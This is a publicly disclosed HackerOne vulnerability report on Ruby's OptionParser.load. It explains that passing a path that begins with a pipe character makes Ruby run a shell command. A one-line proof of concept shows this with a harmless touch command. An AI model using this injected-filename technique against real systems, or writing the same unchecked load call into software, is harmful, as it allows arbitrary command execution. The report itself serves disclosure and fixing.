Ruby · Report #1090678

Command injection in OptionParser.load

N/Astatus

lowseverity

1upvotes

7 Mar 2021disclosed

How it was found

OptionParser.load function use IO.readlines to read file, which can inject | command to exec command. poc:

require 'optparse'

OptionParser.new do |opts|
  opts.load("|touch /tmp/niubl")
end.parse!

The command may be executed unintentionally.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original